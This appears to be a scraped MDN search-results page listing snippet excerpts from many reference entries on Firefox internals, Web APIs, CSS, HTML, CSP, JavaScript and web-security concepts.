...nsiuri aurl); [noscript] void copymessages(in nsmsgkeyarrayptr keys, in nsimsgfolder srcfolder, in nsistreamlistener acopylistener, in boolean amovemessage, in nsiurllistener aurllistener, in nsimsgwindow amsgwindow, out nsiuri aurl); void displaymessage(in string amessageuri, in nsisupports adisplayconsumer, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener, in string acharsetoverride, out nsiuri aurl); void openattachment(in string acontenttype, in string afilename, in string aurl, in string amessageuri, in nsisupports adisplayconsumer, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener); void savemessagetodisk(in string amessageuri, in nsifilespec afile, in boolean ageneratedummyenvelope, in nsiurllistener aurllistener, out nsiuri aurl,...
... in boolean canonicallineending, in nsimsgwindow amsgwindow); void geturlforuri(in string amessageuri, out nsiuri aurl, in nsimsgwindow amsgwindow); void displaymessageforprinting(in string amessageuri, in nsisupports adisplayconsumer, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener, out nsiuri aurl); void search(in nsimsgsearchsession asearchsession, in nsimsgwindow amsgwindow, in nsimsgfolder amsgfolder, in string asearchuri); nsiuri streammessage(in string amessageuri, in nsisupports aconsumer, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener, in boolean aconvertdata, in string aadditionalheader); nsiuri streamheaders(in string amessageuri, in nsistreamlistener aconsumer, in nsiurllistener aurllistener [optional] in boolean...
...And 14 more matches
nsINavHistoryResultNode
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) attributes attribute type description accesscount unsigned long total number of times the uri has been accessed.
... for hosts, this is the total number of the children under it, rather than the total number of times the host has been accessed (getting that information would require an additional query, so for performance reasons that information isn't given by default).
... bookmarkindex long when this item is in a bookmark folder (its parent is of type folder), this is the index into that folder at which this node resides.
...And 14 more matches
nsISessionStore
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) in versions of firefox prior to 3.5, the user preference browser.sessionstore.enabled must be true for these calls to be successful.
... void deletetabvalue( in nsidomnode atab, in astring akey ); parameters atab the tab for which to delete the value.
... void deletewindowvalue( in nsidomwindow awindow, in astring akey ); parameters awindow the window in which to delete the value.
...And 14 more matches
XPCOM Interface Reference
component; nsiprefbranchextensionmanager (toolkit)iaccessible2iaccessibleactioniaccessibleapplicationiaccessiblecomponentiaccessibleeditabletextiaccessiblehyperlinkiaccessiblehypertextiaccessibleimageiaccessiblerelationiaccessibletableiaccessibletable2iaccessibletablecelliaccessibletextiaccessiblevalueidispatchijsdebuggeramiinstallcallbackamiinstalltriggeramiwebinstallinfoamiwebinstalllisteneramiwebinstallpromptamiwebinstallerimgicacheimgicontainerimgicontainerobserverimgidecoderimgidecoderobserverimgiencoderimgiloaderimgirequestinidomutilsjsdistackframemoziasyncfaviconsmoziasynchistorymozicoloranalyzermozijssubscriptloadermozipersonaldictionarymoziplaceinfomoziplacesautocompletemoziregistrymozirepresentat...
...ivecolorcallbackmozispellcheckingenginemozistorageaggregatefunctionmozistorageasyncstatementmozistoragebindingparamsmozistoragebindingparamsarraymozistoragecompletioncallbackmozistorageconnectionmozistorageerrormozistoragefunctionmozistoragependingstatementmozistorageprogresshandlermozistorageresultsetmozistoragerowmozistorageservicemozistoragestatementmozistoragestatementcallbackmozistoragestatementparamsmozistoragestatementrowmozistoragestatementwrappermozistoragevacuumparticipantmozistoragevaluearraymozitxttohtmlconvmozithirdpartyutilmozivisitinfomozivisitinfocallbackmozivisitstatuscallbacknsiabcardnsiaboutmodulensiabstractworkernsiaccelerometerupdatensiaccessnodensiaccessibilityservicensiaccessiblensiaccessiblecaretmoveeventnsiaccessiblecoordinatetypensiaccessibledocumentnsiaccessibleedi...
...tabletextnsiaccessibleeventnsiaccessiblehyperlinknsiaccessiblehypertextnsiaccessibleimagensiaccessibleprovidernsiaccessiblerelationnsiaccessibleretrievalnsiaccessiblerolensiaccessiblescrolltypensiaccessibleselectablensiaccessiblestatechangeeventnsiaccessiblestatesnsiaccessibletablensiaccessibletablecellnsiaccessibletablechangeeventnsiaccessibletextnsiaccessibletextchangeeventnsiaccessibletreecachensiaccessiblevaluensiaccessiblewin32objectnsialertsservicensiannotationobservernsiannotationservicensiappshellnsiappshellservicensiappstartupnsiappstartup_mozilla_2_0nsiapplicationcachensiapplicationcachechannelnsiapplicationcachecontainernsiapplicationcachenamespacensiapplicationcacheservicensiapplicationupdateservicensiarraynsiasyncinputstreamnsiasyncoutputstreamnsiasyncstreamcopiernsiasyncverifyr...
...And 14 more matches
Setting HTTP request headers
http is one of the core technologies behind the web.
...you can add your own http headers to any request the application makes, whether the request is initiated by your code explicitly opening an http channel, because of xmlhttprequest activity, an <img> element in content, or even from css.
... http channels when you deal with http requests and responses, typically you are doing this with an nsihttpchannel.
...And 14 more matches
Troubleshooting XPCOM components registration
chrome errors must be enabled.
... if using firefox 4 / xulrunner 2.0, make sure that your extension is unpacked and you declared the binary component in your chrome.manifest.
... see xpcom changes in gecko 2.0 parsing errors in javascript components the most common reason for components written in javascript to fail is that there are parsing errors.
...And 14 more matches
Zombie compartments
this page tells you how to detect and avoid zombie compartments, which are a particular kind of memory leak.
... multiple compartments can share a zone, where a zone keeps track of things that can easily and securely be shared between related compartments such as string data and type information.
... └──0.00 mb (00.00%) ── gc-heap [2] │ │ │ └───5.83 mb (01.17%) -- (4 tiny) │ │ │ ├──4.19 mb (00.84%) ++ layout │ │ │ ├──1.03 mb (00.21%) ── style-sheets [2] │ │ │ ├──0.60 mb (00.12%) ++ dom │ │ │ └──0.01 mb (00.00%) ── property-tables [2] │ │ ├───8.86 mb (01.78%) -- cached/window(https://www.google.de/?gws_rd=ssl) │ │ │ ├──4.23 mb (00.85%) -- layout │ │ │ │ ├──3.80 mb (00.76%) ── style-sets │ │ │ │ ├──0.29 mb (00.06%) ── pres-shell │ │ │ │ ├──0.05 mb (00.01%) ── rule-nodes │ │ │ │ ├──0.04 mb (00.01%) ── style-contexts │ │ │ │ ├──0.0...
...And 14 more matches
Using js-ctypes
this is as simple as including the following line of code in the desired javascript scope: components.utils.import("resource://gre/modules/ctypes.jsm") loading a native library once you've imported the code module, you can call the ctypes.open() method to load each native library you wish to use.
...examples can be found here: bugzilla :: bug 505907 - support c++ calling from jsctypes library search paths if you specify a full path, that path is used to load the library.
... windows on windows, the following locations are searched for the library, in this order: the application's directory.
...And 14 more matches
All keyboard shortcuts - Firefox Developer Tools
the first section lists the shortcut for opening each tool and the second section lists shortcuts that are applicable to the toolbox itself.
... after that there's one section for each tool, which lists the shortcuts that you can use within that tool.
... open network monitor 2 ctrl + shift + e cmd + opt + e ctrl + shift + e toggle responsive design mode ctrl + shift + m cmd + opt + m ctrl + shift + m open browser console ctrl + shift + j cmd + shift + j ctrl + shift + j open browser toolbox ctrl + alt + shift + i cmd + opt + shift + i ctrl + alt + shift + i open scratchpad shift + f4 shift + f4 * shift + f4 open webide shift + f8 shift + f8 * shift + f8 storage inspector shift + f9 shift + f9 * shift + f9 open debugger 3 ctrl + shift + z cmd + opt + z ctrl + shift + z 1.
...And 14 more matches
Waterfall - Firefox Developer Tools
console the period between matching calls to console.time() and console.timeend().
... filtering markers you can control which markers are displayed using a button in the toolbar: waterfall patterns exactly what you'll see in the waterfall is very dependent on the kind of thing your site is doing: javascript-heavy sites will have a lot of orange, while visually dynamic sites will have a lot of purple and green.
... but there are common patterns which can alert you to possible performance problems.
...And 14 more matches
Tips - Firefox Developer Tools
settings: choose between a light and a dark theme for the developer tools.
... change the keyboard bindings to vim, emacs or sublime text if you're used to different shortcuts.
... check or uncheck the different tools to enable or disable them.
...And 14 more matches
about:debugging (before Firefox 68) - Firefox Developer Tools
the about:debugging page provides a single place from which you can attach the firefox developer tools to a number of debugging targets.
... when about:debugging opens, on the left-hand side, you'll see a sidebar enabling you to switch between the two main views: one for add-ons and one for workers.
...next to each entry is a button labeled "debug".
...And 14 more matches
about:debugging - Firefox Developer Tools
the about:debugging page provides a single place from which you can attach the firefox developer tools to a number of debugging targets.
...if the connection was successful, you can now click the name of the device to switch to a tab with information about the device.
... the information on this page is the same as the information on the this firefox tab, but instead of displaying information for your computer, it displays the information for the remote device with the addition of a tabs section with an entry for each of the tabs open on the remote device.
...And 14 more matches
ByteLengthQueuingStrategy - Web APIs
methods bytelengthqueuingstrategy.size() returns the given chunk’s bytelength property.
... }, cancel(err) { console.log("stream error:", err); } }, queueingstrategy); var size = queueingstrategy.size(chunk); specifications specification status comment streamsthe definition of 'bytelengthqueuingstrategy' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 14 more matches
CountQueuingStrategy - Web APIs
the countqueuingstrategy interface of the the streams api provides a built-in chunk counting queuing strategy that can be used when constructing streams.
... examples const queueingstrategy = new countqueuingstrategy({ highwatermark: 1 }); const writablestream = new writablestream({ // implement the sink write(chunk) { ...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 14 more matches
Element.classList - Web APIs
WebAPIElementclassList
see https://bugzilla.mozilla.org/show_bug.cgi?id=814014 polyfill the legacy onpropertychange event can be used to create a living classlist mockup thanks to a element.prototype.classname property that fires the specified event once it is changed.
...check it out: // 1.
... string.prototype.trim polyfill if (!"".trim) string.prototype.trim = function(){ return this.replace(/^[\s]+|[\s]+$/g, ''); }; (function(window){"use strict"; // prevent global namespace pollution if(!window.domexception) (domexception = function(reason){this.message = reason}).prototype = new error; var wsre = /[\11\12\14\15\40]/, wsindex = 0, checkifvalidclasslistentry = function(o, v) { if (v === "") throw new domexception( "failed to execute '" + o + "' on 'domtokenlist': the token provided must not be empty." ); if((wsindex=v.search(wsre))!==-1) throw new domexception("failed to execute '"+o+"' on 'domtokenlist': " + "the token provided ('"+v[wsindex]+"') contains html space characters, which are not valid in tokens."); } // 2.
...And 14 more matches
FileSystemDirectoryEntry - Web APIs
it provides methods which make it possible to access and manipulate the files in a directory, as well as to access the entries within the directory.
...if you want to create subdirectories, create each child directory in sequence.
...so create the hierarchy by recursively adding a new path after creating the parent directory.
...And 14 more matches
FileHandle API - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
...because the files manipulated through that api can be physically stored on the device, the editing part uses a turn-based locking mechanism in order to avoid race issues.
...however, they are important for the filehandle object as it can generate file objects which inherit their own name and type from those values.
...And 14 more matches
GlobalEventHandlers - Web APIs
each of these interfaces can, of course, add more event handlers in addition to the ones listed below.
... globaleventhandlers.onchange is an eventhandler representing the code to be called when the change event is raised.
... globaleventhandlers.oncuechange is an eventhandler representing the code to be called when the cuechange event is raised.
...And 14 more matches
HTMLSelectElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlselectelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle...
...And 14 more matches
MediaStreamTrack - Web APIs
properties in addition to the properties listed below, mediastreamtrack has constrainable properties which can be set using applyconstraints() and accessed using getconstraints() and getsettings().
...if the track has been disconnected, this value can be changed but has no more effect.
...the muted property refers to a condition in which there's no media because of a technical issue.
...And 14 more matches
Payment Request API - Web APIs
the payment request api provides a consistent user experience for both merchants and users.
... it is not a new way for paying for things; rather, it's a way for users to select their preferred way of paying for things, and make that information available to a merchant.
... payment request concepts and usage many problems related to online shopping-cart abandonment can be traced to checkout forms, which can be difficult and time consuming to fill out and often require multiple steps to complete.
...And 14 more matches
Using the Permissions API - Web APIs
this article provides a basic guide to using the w3c permissions api, which provides a programmatic way to query the status of api permissions attributed to the current context.
... let's face it, permissions on the web are a necessary evil, and they are not much fun to deal with as developers.
... historically, different apis handle their own permissions inconsistently — for example the notifications api allows for explicit checking of permission status and requesting permission, whereas the geolocation api doesn't (which causes problems if the user denied the initial permission request, as we'll see below).
...And 14 more matches
RTCDtlsTransport - Web APIs
the rtcdtlstransport interface provides access to information about the datagram transport layer security (dtls) transport over which a rtcpeerconnection's rtp and rtcp packets are sent and received by its rtcrtpsender and rtcrtpreceiver objects.
... a dtls transport is also used to provide information about sctp packets transmitted and received by an connection's data channels.
...<svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/rtcdtlstransport" target="_top"><rect x="1" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">rtcdtlstransport</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} propertiesicetransport read only the read-only rtcdtlstransport property icetransport contains a reference to the underlying rtcicetransport.state read only the state read-only property of the rtcdtlstransport interface provides information which describes...
...And 14 more matches
RTCPeerConnection.setRemoteDescription() - Web APIs
the method takes a single parameter—the session description—and it returns a promise which is fulfilled once the description has been changed, asynchronously.
...keep in mind that if setremotedescription() is called while a connection is already in place, it means renegotiation is underway (possibly to adapt to changing network conditions).
... because descriptions will be exchanged until the two peers agree on a configuration, the description submitted by calling setremotedescription() does not immediately take effect.
...And 14 more matches
Storage API - Web APIs
the storage standard defines a common, shared storage system to be used by all apis and technologies that store content-accessible data for individual web sites.
... the storage api gives sites' code the ability to find out how much space they can use, how much they are already using, and even control whether or not they need to be alerted before the user agent disposes of site data in order to make room for other things.
... site storage—the data stored for a web site which is managed by the storage standard—includes: indexeddb databases cache api data service worker registrations web storage api data managed using window.localstorage history state information saved using history.pushstate() application caches notification data other kinds of site-accessible, site-specific data that may be maintained site storage units the site storage system described by the storage standard and interacted with using the storage api consists of a single site storage unit for each origin.
...And 14 more matches
Matrix math for the web - Web APIs
while this article uses css to simplify explanations, matrices are a core concept used by many different technologies including webgl, the webxr (vr and ar) api, and glsl shaders.
...this is a special transformation matrix which functions much like the number 1 does in scalar multiplication; just like n * 1 = n, multiplying any matrix by the identity matrix gives a resulting matrix whose values match the original matrix.
...check out the webgl model view projection article for a look into how it comes in handy.
...And 14 more matches
Writing a WebSocket server in C# - Web APIs
you can do it in any server-side language, but to keep things simple and more understandable, i chose microsoft's language.
... this server conforms to rfc 6455 so it will only handle connections from chrome version 16, firefox 11, ie 10 and over.
...luckily, c# has a tcplistener class which does as the name suggests.
...And 14 more matches
WritableStream.WritableStream() - Web APIs
if this process is to be done asynchronously, it can return a promise to signal success or failure.
... write(chunk, controller) optional this method, also defined by the developer, will be called when a new chunk of data (specified in the chunk parameter) is ready to be written to the underlying sink.
...the controller parameter passed to this method is a writablestreamdefaultcontroller that can be used by the developer to control the stream as more chunks are submitted for writing.
...And 14 more matches
XRReferenceSpace.getOffsetReferenceSpace() - Web APIs
the xrreferencespace interface's getoffsetreferencespace() method returns a new reference space object which describes the relative difference in position between the object on which the method is called and a given point in 3d space.
... in other words, when you have an object in 3d space and need to position another object relative to that one, you can call getoffsetreferencespace(), passing into it the position and orientation you want the second object to have relative to the position and orientation of the object on which you call getoffsetreferencespace().
...this is demonstrated in the example implementing rotation based on non-xr inputs, which demonstrates a way to use this method to let the user use their mouse to pitch and yaw their viewing angle.
...And 14 more matches
Web APIs
WebAPI
aambient light eventsbbackground tasksbattery api beaconbluetooth apibroadcast channel apiccss counter stylescss font loading api cssomcanvas apichannel messaging apiconsole apicredential management apiddomeencoding apiencrypted media extensionsffetch apifile system api frame timing apifullscreen apiggamepad api geolocation apihhtml drag and drop apihigh resolution timehistory apiiimage capture apiindexeddbintersection observer apillong tasks api mmedia capabilities api m...
...edia capture and streamsmedia session apimedia source extensions mediastream recordingnnavigation timingnetwork information api ppage visibility apipayment request apiperformance apiperformance timeline apipermissions apipointer eventspointer lock apiproximity events push api rresize observer apiresource timing apisserver sent eventsservice workers apistoragestorage access apistreams ttouch eventsuurl apivvibration apivisual viewport wweb animationsweb audio apiweb authentication apiweb crypto apiweb notificationsweb storage apiweb workers apiwebglwebrtcwebvttwebxr device apiwebsockets api interfaces this is a list of all the interfaces (that is, types of objects) that are available.
...arams ambientlightsensor analysernode animation animationeffect animationevent animationplaybackevent animationtimeline arraybufferview attr audiobuffer audiobuffersourcenode audioconfiguration audiocontext audiocontextlatencycategory audiocontextoptions audiodestinationnode audiolistener audionode audionodeoptions audioparam audioparamdescriptor audioparammap audioprocessingevent audioscheduledsourcenode audiotrack audiotracklist audioworklet audioworkletglobalscope audioworkletnode audioworkletnodeoptions audioworkletprocessor authenticatorassertionresponse authenticatorattestationresponse authenticatorresponse b baseaudiocontext basiccardrequest basiccardresponse batterymanager beforeinstallpromptevent beforeunloadevent biquadfilternode blob blobbuilder blobevent blue...
...And 14 more matches
ARIA: tab role - Accessibility
the common user experience pattern is a group of visual tabs above, or to the side of, a content area, and selecting a different tab changes the content and makes the selected tab more prominent than the other tabs.
... elements with the role tab must either be a child of an element with the tablist role, or have their id part of the aria-owns property of a tablist.
... this combination identifies to assistive technology that the element is part of a group of related elements.
...And 14 more matches
Keyboard-navigable JavaScript widgets - Accessibility
overview web applications often use javascript to mimic desktop widgets such as menus, tree views, rich text fields, and tab panels.
...this document describes techniques to make javascript widgets accessible with the keyboard.
... the order in which elements gain focus when using a keyboard, is the source order by default.
...And 14 more matches
@media - CSS: Cascading Style Sheets
WebCSS@media
with it, you specify a media query and a block of css to apply to the document if and only if the media query matches the device on which the content is being used.
... speech intended for speech synthesizers.
...the aural type has been replaced by speech, which is similar.
...And 14 more matches
Mastering Wrapping of Flex Items - CSS: Cascading Style Sheets
as the items can grow, they will expand larger than 160 px in order to fill each row completely.
... if there is only one item on the final line it will stretch to fill the entire line.
...the container will need to have a height in order that the items will start wrapping and creating new columns, and items will stretch taller to fill each column completely.
...And 14 more matches
Value definition syntax - CSS: Cascading Style Sheets
the definition syntax describes which values are allowed and the interactions between them.
... a component can be a keyword, some characters considered as a literal, or a value of a given css data type or of another css property.
... literals in css, a few characters can appear on their own, like the slash ('/') or the comma (','), and are used in a property definition to separate its parts.
...And 14 more matches
align-content - CSS: Cascading Style Sheets
with the start, the last is flush with the end */ align-content: space-around; /* distribute items evenly items have a half-size space on either end */ align-content: space-evenly; /* distribute items evenly items have equal space around them */ align-content: stretch; /* distribute items evenly stretch 'auto'-sized items to fit the container */ /* overflow alignment */ align-content: safe center; align-content: unsafe center; /* global values */ align-content: inherit; align-content: initial; align-content: unset; values start the items are packed flush to each other against the s...
... end the items are packed flush to each other against the end edge of the alignment container in the cross axis.
... flex-start the items are packed flush to each other against the edge of the alignment container depending on the flex container's cross-start side.
...And 14 more matches
break-inside - CSS: Cascading Style Sheets
/* keyword values */ break-inside: auto; break-inside: avoid; break-inside: avoid-page; break-inside: avoid-column; break-inside: avoid-region; /* global values */ break-inside: inherit; break-inside: initial; break-inside: unset; each possible break point (in other words, each element boundary) is affected by three properties: the break-after value of the previous element, the break-before value of the next element, and the break-inside value of the containing element.
...if more than one of them are such a break, the value of the element that appears the latest in the flow is used.
... thus, the break-before value has precedence over the break-after value, which in turn has precedence over the break-inside value.
...And 14 more matches
justify-items - CSS: Cascading Style Sheets
the css justify-items property defines the default justify-self for all items of the box, giving them all a default way of justifying each box along the appropriate axis.
... layouts, this property is ignored (more about alignment in block, absolute positioned and table layout) in flexbox layouts, this property is ignored (more about alignment in flexbox) in grid layouts, it aligns the items inside their grid areas on the inline axis (more about alignment in grid layouts) syntax /* basic keywords */ justify-items: auto; justify-items: normal; justify-items: stretch; /* positional alignment */ justify-items: center; /* pack items around the center */ justify-items: start; /* pack items from the start */ justify-items: end; /* pack items from the end */ justify-items: flex-start; /* equivalent to 'start'.
...alignment only) */ justify-items: safe center; justify-items: unsafe center; /* legacy alignment */ justify-items: legacy right; justify-items: legacy left; justify-items: legacy center; /* global values */ justify-items: inherit; justify-items: initial; justify-items: unset; this property can take one of four different forms: basic keywords: one of the keyword values normal, auto, or stretch.
...And 14 more matches
place-items - CSS: Cascading Style Sheets
the align-items and justify-items properties) in a relevant layout system such as grid or flexbox.
...ment */ place-items: center normal; place-items: start auto; place-items: end normal; place-items: self-start auto; place-items: self-end normal; place-items: flex-start auto; place-items: flex-end normal; place-items: left auto; place-items: right normal; /* baseline alignment */ place-items: baseline normal; place-items: first baseline auto; place-items: last baseline normal; place-items: stretch auto; /* global values */ place-items: inherit; place-items: initial; place-items: unset; values auto the value used is the value of the justify-items property of the parents box, unless the box has no parent, or is absolutely positioned, in these cases, auto represents normal.
... in absolutely-positioned layouts, the keyword behaved like start on replaced absolutely-positioned boxes, and as stretch on all other absolutely-positioned boxes.
...And 14 more matches
<button>: The Button element - HTML: Hypertext Markup Language
WebHTMLElementbutton
by default, html buttons are presented in a style resembling the platform the user agent runs on, but you can change buttons’ appearance with css.
... implicit aria role button permitted aria roles checkbox, link, menuitem, menuitemcheckbox, menuitemradio, option, radio, switch, tab dom interface htmlbuttonelement attributes this element's attributes include the global attributes.
...use this method when the form has no side effects, like search forms.
...And 14 more matches
<td>: The Table Data Cell element - HTML: Hypertext Markup Language
WebHTMLElementtd
headers this attribute contains a list of space-separated strings, each corresponding to the id attribute of the <th> elements that apply to this element.
...some user-agents, such as speech readers, may present this description before the content itself.
... justify (with text only): the content is stretched out inside the cell so that it covers its entire width.
...And 14 more matches
Feature Policy - HTTP
the feature-policy header has now been renamed to permissions-policy in the spec, and this article will eventually be updated to reflect that change.
... in a nutshell feature policy provides a mechanism to explicitly declare what functionality is used (or not used), throughout your website.
... this allows you to lock in best practices, even as the codebase evolves over time — as well as to more safely compose third-party content — by limiting which features are available.
...And 14 more matches
CSP: base-uri - HTTP
the http content-security-policy base-uri directive restricts the urls which can be used in a document's <base> element.
... syntax one or more sources can be allowed for the base-uri policy: content-security-policy: base-uri <source>; content-security-policy: base-uri <source> <source>; sources while this directive uses the same arguments as other csp directives, some of them don’t make sense for `<base>`, such as the keywords 'unsafe-inline' and 'strict-dynamic' <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...And 14 more matches
CSP: connect-src - HTTP
the http content-security-policy (csp) connect-src directive restricts the urls which can be loaded using script interfaces.
... the apis that are restricted are: <a> ping, fetch, xmlhttprequest, websocket, eventsource, and navigator.sendbeacon().
... note: connect-src 'self' does not resolve to websocket schemas in all browsers, more info: https://github.com/w3c/webappsec-csp/issues/7 csp version 1 directive type fetch directive default-src fallback yes.
...And 14 more matches
CSP: style-src - HTTP
csp version 1 directive type fetch directive default-src fallback yes.
... syntax one or more sources can be allowed for the style-src policy: content-security-policy: style-src <source>; content-security-policy: style-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...And 14 more matches
HTTP Messages - HTTP
WebHTTPMessages
http messages are how data is exchanged between a server and a client.
... the http/2 binary framing mechanism has been designed to not require any alteration of the apis or config files applied: it is broadly transparent to the user.
...for example, get indicates that a resource should be fetched or post means that data is pushed to the server (creating or modifying a resource, or generating a temporary document to send back).
...And 14 more matches
Promise.prototype.then() - JavaScript
if the promise that then is called on adopts a state (fulfillment or rejection) for which then has no handler, the returned promise simply adopts the final state of the original promise on which then was called.
... return value once a promise is fulfilled or rejected, the respective handler function (onfulfilled or onrejected) will be called asynchronously (scheduled in the current thread loop).
... following, an example to demonstrate the asynchronicity of the then method.
...And 14 more matches
How to make PWAs re-engageable using Notifications and Push - Progressive web apps (PWAs)
previous overview: progressive next having the ability to cache the contents of an app to work offline is a great feature.
...the default option is chosen when the user won't make a choice, and the other two are set when the user clicks yes or no respectively.
... create a notification the example app creates a notification out of the available data — a game is picked at random, and the chosen one feeds the notification with the content: it sets the game's name as the title, mentioning the author in the body, and showing the image as an icon: function randomnotification() { var randomitem = math.floor(math.random()*games.length); var notiftitle = games[randomitem].name; var notifbody = 'created by '+games[randomitem].author+'.'; var notifimg = 'data/img/'+games[randomitem].slug+'.jpg'; var options = { body: notifbody, icon: notifimg } var notif = new notification(notiftitle, options); settimeout(randomnotification, 30000); } a n...
...And 14 more matches
Types of attacks - Web security
this article describes various types of security attacks and techniques to mitigate them.
...(click-jacking is sometimes called "user interface redressing", though this is a misuse of the term "redress".) cross-site request forgery (csrf) cross-site scripting (xss) cross-site scripting (xss) is a security exploit which allows an attacker to inject into a website malicious client-side code.
...the variety of attacks based on xss is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to a webpage controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.
...And 14 more matches
Using shadow DOM - Web Components
the shadow dom api is a key part of this, providing a way to attach a hidden separated dom to an element.
... note: shadow dom is supported by default in firefox (63 and onwards), chrome, opera, and safari.
... the new chromium-based edge (75 and onwards) supports it too; the old edge didn't.
...And 14 more matches
Index - XPath
WebXPathIndex
it can also be used to test addressed nodes within a document to determine whether they match a pattern or not.
... 6 child axe, xpath the child axis indicates the children of the context node.
... if an xpath expression does not specify an axis, the child axis is understood by default.
...And 14 more matches
An Overview - XSLT: Extensible Stylesheet Language Transformations
unlike css, which has its own specialized syntax, an xslt stylesheet is an xml document, which must conform to all xml rules, including well-formedness.
... an xslt stylesheet is marked as such by the inclusion of a standard xslt heading.
... because typing "http://www.w3.org/1999/xsl/transform" repeatedly would be tedious and would render the markup difficult to read, there is a standard mechanism for assigning a shorthand name to the namespace in the stylesheet heading.
...And 14 more matches
3D collision detection - Game development
this article provides an introduction to the different bounding volume techniques used to implement collision detection in 3d environments.
...this consists of wrapping game entities in a non-rotated (thus axis-aligned) box and checking the positions of these boxes in the 3d coordinate space to see if they are overlapping.
...the overlapping area between two non-rotated boxes can be checked with logical comparisons alone, whereas rotated boxes require additional trigonometric operations, which are slower to calculate.
...And 13 more matches
GLSL Shaders - Game development
shaders run on a gpu (graphics processing unit), which is optimized for such operations.
... using a gpu to deal with shaders offloads some of the number crunching from the cpu.
... fragment shaders fragment (or texture) shaders define rgba (red, blue, green, alpha) colors for each pixel being processed — a single fragment shader is called once per pixel.
...And 13 more matches
What is a Domain Name? - Learn web development
any internet-connected computer can be reached through a public ip address, either an ipv4 address (e.g.
... computers can handle such addresses easily, but people have a hard time finding out who's running the server or what service the website offers.
... ip addresses are hard to remember and might change over time.
...And 13 more matches
Image gallery - Learn web development
alternatively, you could use a site like jsbin or glitch to do your assessment.
... <h1>image gallery example</h1> <div class="full-img"> <img class="displayed-img" src="images/pic1.jpg"> <div class="overlay"></div> <button class="dark">darken</button> </div> <div class="thumb-bar"> </div> the example looks like this: the most interesting parts of the example's css file: it absolutely positions the three elements inside the full-img <div> — the <img> in which the full-sized image is displayed, an empty <div> that is sized to be the same size as the <img> and put right over the top of it (this is used to apply a darkening effect to the image via a semi-transparent background color), and a <button> that is used to control the darkening effect.
... your javascript needs to: loop through all the images, and for each one insert an <img> element inside the thumb-bar <div> that embeds that image in the page.
...And 13 more matches
Test your skills: Conditionals - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... we want you to create a conditional that checks whether season contains the string "summer", and if so assigns a string to response that gives the user an appropriate message about the season.
... to finish off, you should then add another test that checks whether season contains the string "winter", and again assigns an appropriate string to response.
...And 13 more matches
Rendering a list of Vue components - Learn web development
in this artcle we'll look at adding a set of todo item data to our app.vue component, which we'll then loop through and display inside todoitem components using the v-for directive.
